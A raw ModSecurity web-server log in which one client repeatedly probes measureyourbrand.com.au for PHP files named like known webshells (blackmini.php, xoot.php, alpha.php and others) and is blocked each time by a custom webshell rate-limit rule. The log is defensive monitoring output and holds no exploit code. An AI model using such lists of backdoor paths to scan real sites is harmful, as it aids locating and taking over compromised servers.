[Wed Feb 25 02:58:15.409808 2026] [:error] [pid 18850:tid 18856] [client 20.216.146.160:41862] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aZ30x-DBmHucoAJRnqkmAAAAAAQ"]
[Wed Feb 25 02:58:16.061608 2026] [:error] [pid 26872:tid 26897] [client 20.216.146.160:39946] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw2.php"] [unique_id "aZ30yHxLbzvRGuzwKjkfMAAAAFc"]
[Wed Feb 25 02:58:17.737809 2026] [:error] [pid 26872:tid 26895] [client 20.216.146.160:32121] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw2.php"] [unique_id "aZ30yXxLbzvRGuzwKjkfMgAAAFU"]
[Wed Feb 25 02:58:18.661104 2026] [:error] [pid 26872:tid 26893] [client 20.216.146.160:36037] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw2.php"] [unique_id "aZ30ynxLbzvRGuzwKjkfNwAAAFM"]
[Wed Feb 25 02:58:19.374891 2026] [:error] [pid 18441:tid 18729] [client 20.216.146.160:40370] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw2.php"] [unique_id "aZ30yxYF1wpOnXIaHlOnTQAAANQ"]
[Wed Feb 25 02:58:20.494727 2026] [:error] [pid 18447:tid 18776] [client 20.216.146.160:41831] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blackmini.php"] [unique_id "aZ30zM-TpHVc8yBj5ebFOQAAAg0"]
[Wed Feb 25 02:58:21.454522 2026] [:error] [pid 18447:tid 18768] [client 20.216.146.160:41809] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blackmini.php"] [unique_id "aZ30zc-TpHVc8yBj5ebFQQAAAgU"]
[Wed Feb 25 02:58:22.358958 2026] [:error] [pid 18447:tid 18787] [client 20.216.146.160:38012] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blackmini.php"] [unique_id "aZ30zs-TpHVc8yBj5ebFRAAAAhg"]
[Wed Feb 25 02:58:30.158678 2026] [:error] [pid 18447:tid 18767] [client 20.216.146.160:42486] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aZ301s-TpHVc8yBj5ebFVwAAAgQ"]
[Wed Feb 25 02:58:31.482118 2026] [:error] [pid 26872:tid 26891] [client 20.216.146.160:36065] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aZ3013xLbzvRGuzwKjkfZAAAAFE"]
[Wed Feb 25 02:58:32.764959 2026] [:error] [pid 26872:tid 26895] [client 20.216.146.160:37960] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aZ302HxLbzvRGuzwKjkfaQAAAFU"]
[Wed Feb 25 02:58:37.676257 2026] [:error] [pid 18458:tid 18811] [client 20.216.146.160:36003] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aZ303Quir-tBe4tUismlEQAAApA"]
[Wed Feb 25 02:58:39.824697 2026] [:error] [pid 18458:tid 18813] [client 20.216.146.160:36950] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aZ303wuir-tBe4tUismlEwAAApI"]
[Wed Feb 25 02:58:41.173891 2026] [:error] [pid 26872:tid 26887] [client 20.216.146.160:36045] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aZ304XxLbzvRGuzwKjkfdgAAAE0"]
[Wed Feb 25 02:58:42.008129 2026] [:error] [pid 18850:tid 18873] [client 20.216.146.160:41869] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aZ304uDBmHucoAJRnqkmQQAAABU"]
[Wed Feb 25 02:58:43.268977 2026] [:error] [pid 26872:tid 26883] [client 20.216.146.160:41797] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aZ3043xLbzvRGuzwKjkfewAAAEk"]
[Wed Feb 25 02:58:44.699794 2026] [:error] [pid 18447:tid 18785] [client 20.216.146.160:33576] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aZ305M-TpHVc8yBj5ebFcQAAAhY"]
[Wed Feb 25 02:58:45.403065 2026] [:error] [pid 26872:tid 26895] [client 20.216.146.160:32066] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aZ305XxLbzvRGuzwKjkfgwAAAFU"]
[Wed Feb 25 02:58:46.334466 2026] [:error] [pid 18458:tid 18806] [client 20.216.146.160:34339] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aZ305guir-tBe4tUismlGgAAAow"]
[Wed Feb 25 02:58:47.021766 2026] [:error] [pid 18447:tid 18775] [client 20.216.146.160:34308] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aZ3058-TpHVc8yBj5ebFdAAAAgw"]
[Wed Feb 25 02:58:47.768712 2026] [:error] [pid 18850:tid 18869] [client 20.216.146.160:33798] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aZ305-DBmHucoAJRnqkmSgAAABE"]
[Wed Feb 25 02:58:49.322577 2026] [:error] [pid 26872:tid 26883] [client 20.216.146.160:40401] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aZ306XxLbzvRGuzwKjkfiwAAAEk"]
[Wed Feb 25 02:58:50.641026 2026] [:error] [pid 26872:tid 26890] [client 20.216.146.160:39824] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aZ306nxLbzvRGuzwKjkfjwAAAFA"]
[Wed Feb 25 02:58:52.086941 2026] [:error] [pid 26872:tid 26898] [client 20.216.146.160:35938] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aZ307HxLbzvRGuzwKjkflgAAAFg"]
[Wed Feb 25 02:58:53.013091 2026] [:error] [pid 18850:tid 18860] [client 20.216.146.160:35993] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aZ307eDBmHucoAJRnqkmUwAAAAg"]
[Wed Feb 25 02:58:54.441131 2026] [:error] [pid 26872:tid 26892] [client 20.216.146.160:33585] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aZ307nxLbzvRGuzwKjkfoAAAAFI"]
[Wed Feb 25 02:58:55.737999 2026] [:error] [pid 18447:tid 18780] [client 20.216.146.160:42186] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aZ3078-TpHVc8yBj5ebFegAAAhE"]
[Wed Feb 25 02:58:59.597250 2026] [:error] [pid 18458:tid 18799] [client 20.216.146.160:34366] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aZ308wuir-tBe4tUismlLQAAAoU"]
[Wed Feb 25 02:59:00.667296 2026] [:error] [pid 18458:tid 18810] [client 20.216.146.160:34362] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aZ309Auir-tBe4tUismlMQAAAo8"]
[Wed Feb 25 02:59:03.728577 2026] [:error] [pid 26872:tid 26897] [client 20.216.146.160:41866] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aZ3093xLbzvRGuzwKjkfqwAAAFc"]
[Wed Feb 25 02:59:04.589491 2026] [:error] [pid 26872:tid 26898] [client 20.216.146.160:42201] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aZ30-HxLbzvRGuzwKjkfrwAAAFg"]
[Wed Feb 25 02:59:06.901036 2026] [:error] [pid 18850:tid 18876] [client 20.216.146.160:40383] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aZ30-uDBmHucoAJRnqkmZwAAABg"]
[Wed Feb 25 02:59:08.585994 2026] [:error] [pid 18458:tid 18813] [client 20.216.146.160:32419] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aZ30_Auir-tBe4tUismlQQAAApI"]
[Wed Feb 25 02:59:09.908955 2026] [:error] [pid 26872:tid 26885] [client 20.216.146.160:38579] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aZ30_XxLbzvRGuzwKjkfugAAAEs"]
[Wed Feb 25 02:59:10.777561 2026] [:error] [pid 26872:tid 26876] [client 20.216.146.160:37140] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aZ30_nxLbzvRGuzwKjkfvgAAAEI"]
[Wed Feb 25 02:59:12.483747 2026] [:error] [pid 18850:tid 18870] [client 20.216.146.160:38836] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aZ31AODBmHucoAJRnqkmcQAAABI"]
[Wed Feb 25 02:59:15.241969 2026] [:error] [pid 18458:tid 18801] [client 20.216.146.160:38138] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xoot.php"] [unique_id "aZ31Awuir-tBe4tUismlTgAAAoc"]
[Wed Feb 25 02:59:16.630815 2026] [:error] [pid 26872:tid 26896] [client 20.216.146.160:38130] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xoot.php"] [unique_id "aZ31BHxLbzvRGuzwKjkfyAAAAFY"]
[Wed Feb 25 02:59:17.403772 2026] [:error] [pid 26872:tid 26892] [client 20.216.146.160:41937] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xoot.php"] [unique_id "aZ31BXxLbzvRGuzwKjkfywAAAFI"]
[Wed Feb 25 02:59:18.036568 2026] [:error] [pid 18850:tid 18852] [client 20.216.146.160:33210] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xoot.php"] [unique_id "aZ31BuDBmHucoAJRnqkmewAAAAA"]
[Wed Feb 25 02:59:18.660258 2026] [:error] [pid 26872:tid 26889] [client 20.216.146.160:32012] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aZ31BnxLbzvRGuzwKjkfzQAAAE8"]
[Wed Feb 25 02:59:19.385830 2026] [:error] [pid 26872:tid 26893] [client 20.216.146.160:41932] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aZ31B3xLbzvRGuzwKjkfzwAAAFM"]
[Wed Feb 25 02:59:20.926570 2026] [:error] [pid 18441:tid 18728] [client 20.216.146.160:36374] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aZ31CBYF1wpOnXIaHlOncgAAANM"]
[Wed Feb 25 02:59:22.643222 2026] [:error] [pid 18850:tid 18860] [client 20.216.146.160:42214] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aZ31CuDBmHucoAJRnqkmgAAAAAg"]
[Wed Feb 25 02:59:23.637297 2026] [:error] [pid 18458:tid 18819] [client 20.216.146.160:38101] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aZ31Cwuir-tBe4tUismlWgAAApg"]
[Wed Feb 25 02:59:25.431154 2026] [:error] [pid 26872:tid 26887] [client 20.216.146.160:38543] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aZ31DXxLbzvRGuzwKjkf2AAAAE0"]
[Wed Feb 25 02:59:26.516724 2026] [:error] [pid 26872:tid 26879] [client 20.216.146.160:41438] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aZ31DnxLbzvRGuzwKjkf2wAAAEU"]
[Wed Feb 25 02:59:28.875714 2026] [:error] [pid 18850:tid 18863] [client 20.216.146.160:33569] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aZ31EODBmHucoAJRnqkmjAAAAAs"]
[Wed Feb 25 02:59:41.340868 2026] [:error] [pid 18850:tid 18866] [client 20.216.146.160:38142] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aZ31HeDBmHucoAJRnqkmwQAAAA4"]
[Wed Feb 25 02:59:42.070900 2026] [:error] [pid 18458:tid 18811] [client 20.216.146.160:36404] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aZ31Hguir-tBe4tUismldwAAApA"]
[Wed Feb 25 02:59:43.231472 2026] [:error] [pid 18850:tid 18865] [client 20.216.146.160:38102] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aZ31H-DBmHucoAJRnqkmxQAAAA0"]
[Wed Feb 25 02:59:44.605716 2026] [:error] [pid 18441:tid 18713] [client 20.216.146.160:38585] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aZ31IBYF1wpOnXIaHlOnewAAAMU"]
[Wed Feb 25 02:59:45.815575 2026] [:error] [pid 26872:tid 26875] [client 20.216.146.160:36362] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aZ31IXxLbzvRGuzwKjkf-QAAAEE"]
[Wed Feb 25 02:59:46.752458 2026] [:error] [pid 26872:tid 26885] [client 20.216.146.160:43951] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aZ31InxLbzvRGuzwKjkf_gAAAEs"]
[Wed Feb 25 02:59:47.803249 2026] [:error] [pid 26872:tid 26876] [client 20.216.146.160:41925] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aZ31I3xLbzvRGuzwKjkgAAAAAEI"]
[Wed Feb 25 02:59:49.107581 2026] [:error] [pid 18458:tid 18806] [client 20.216.146.160:39667] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aZ31JQuir-tBe4tUismlewAAAow"]
